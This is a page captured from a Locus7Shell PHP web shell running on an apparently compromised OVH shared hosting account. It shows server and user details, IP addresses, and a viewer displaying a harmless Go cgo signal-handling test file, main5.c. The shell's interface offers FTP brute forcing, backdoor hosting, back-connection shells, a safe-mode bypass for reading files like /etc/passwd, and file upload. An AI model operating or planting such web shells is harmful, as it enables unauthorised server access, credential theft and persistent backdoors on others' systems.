Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/go/src/cmd/cgo/internal/testcarchive/testdata/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     main5.c (1.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// Copyright 2015 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Test for verifying that the Go runtime properly forwards
// signals when non-Go signals are raised.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>

#include "libgo2.h"

int *nilp;

int main(int argc, char** argv) {
    int verbose;
    int test;

    if (argc < 2) {
        printf("Missing argument\n");
        return 1;
    }

    test = atoi(argv[1]);

    verbose = (argc > 2);

    Noop();

    switch (test) {
        case 1: {
            if (verbose) {
                printf("attempting segfault\n");
            }

            *nilp = 0;
            break;
        }

        case 2: {
            struct timeval tv;

            if (verbose) {
                printf("attempting external signal test\n");
            }

            fprintf(stderr, "OK\n");
            fflush(stderr);

            // The program should be interrupted before
            // this sleep finishes. We use select rather
            // than sleep because in older versions of
            // glibc the sleep function does some signal
            // fiddling to handle SIGCHLD.  If this
            // program is fiddling signals just when the
            // test program sends the signal, the signal
            // may be delivered to a Go thread which will
            // break this test.
            tv.tv_sec = 60;
            tv.tv_usec = 0;
            select(0, NULL, NULL, NULL, &tv);

            break;
        }
        case 3: {
            if (verbose) {
                printf("attempting SIGPIPE\n");
            }

            int fd[2];
            if (pipe(fd) != 0) {
                printf("pipe(2) failed\n");
                return 0;
            }
            // Close the reading end.
            close(fd[0]);
            // Expect that write(2) fails (EPIPE)
            if (write(fd[1], "some data", 9) != -1) {
                printf("write(2) unexpectedly succeeded\n");
                return 0;
            }
            printf("did not receive SIGPIPE\n");
            return 0;
        }
        case 4: {
            fprintf(stderr, "OK\n");
            fflush(stderr);

            if (verbose) {
                printf("calling Block\n");
            }
            Block();
        }
        default:
            printf("Unknown test: %d\n", test);
            return 0;
    }

    printf("FAIL\n");
    return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0063 ]--